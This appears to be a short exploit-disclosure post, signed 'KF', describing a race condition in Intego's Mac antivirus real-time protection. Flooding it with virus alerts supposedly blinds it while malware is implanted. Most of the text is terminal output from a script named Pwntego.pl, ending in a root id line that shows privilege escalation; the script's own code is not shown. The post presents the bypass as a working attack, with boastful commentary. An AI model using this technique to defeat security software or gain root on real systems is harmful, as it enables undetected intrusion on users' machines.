This is a race condition in the Intego real time protection. Queue up a shit ton of virus alerts then just do what ever it was that
you wanted to do in the first place. Intego will be too busy trying to catch up that they won't mind if you implant a virus or two 
or maybe even run an exploit. 

I spent friggin US$ 69.95 and wasted an hour of my time on a friday night to find this bug... I hope you like it. 

k-fs-mac-mini:~/Desktop/pwntego kf$ ./Pwntego.pl 
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources/._.DS_Store: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources/English.lproj/._.DS_Store: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources/English.lproj: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg: Permission denied
rm: /tmp/__MACOSX: Permission denied
rm: /tmp/objc_sharing_ppc_4294967294: Permission denied
rm: /tmp/objc_sharing_ppc_92: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Archive.bom: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Archive.pax.gz: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Info.plist: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/PkgInfo: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/.DS_Store: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/BundleVersions.plist: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj/.DS_Store: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj/Description.plist: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj/vdefsx420061024.info: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/package_version: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/postflight: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/vdefsx420061024.bom: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/vdefsx420061024.pax.gz: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/vdefsx420061024.sizes: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents: Permission denied
rm: /tmp/vdefsx420061024.pkg: Permission denied
;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p
;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p
;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p
Injecting pwnacillin shot
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources/._.DS_Store: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources/English.lproj/._.DS_Store: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources/English.lproj: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents/Resources: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg/Contents: Permission denied
rm: /tmp/__MACOSX/vdefsx420061024.pkg: Permission denied
rm: /tmp/__MACOSX: Permission denied
rm: /tmp/objc_sharing_ppc_4294967294: Permission denied
rm: /tmp/objc_sharing_ppc_92: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Archive.bom: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Archive.pax.gz: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Info.plist: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/PkgInfo: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/.DS_Store: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/BundleVersions.plist: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj/.DS_Store: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj/Description.plist: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj/vdefsx420061024.info: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/English.lproj: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/package_version: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/postflight: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/vdefsx420061024.bom: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/vdefsx420061024.pax.gz: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources/vdefsx420061024.sizes: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents/Resources: Permission denied
rm: /tmp/vdefsx420061024.pkg/Contents: Permission denied
rm: /tmp/vdefsx420061024.pkg: Permission denied


-KF
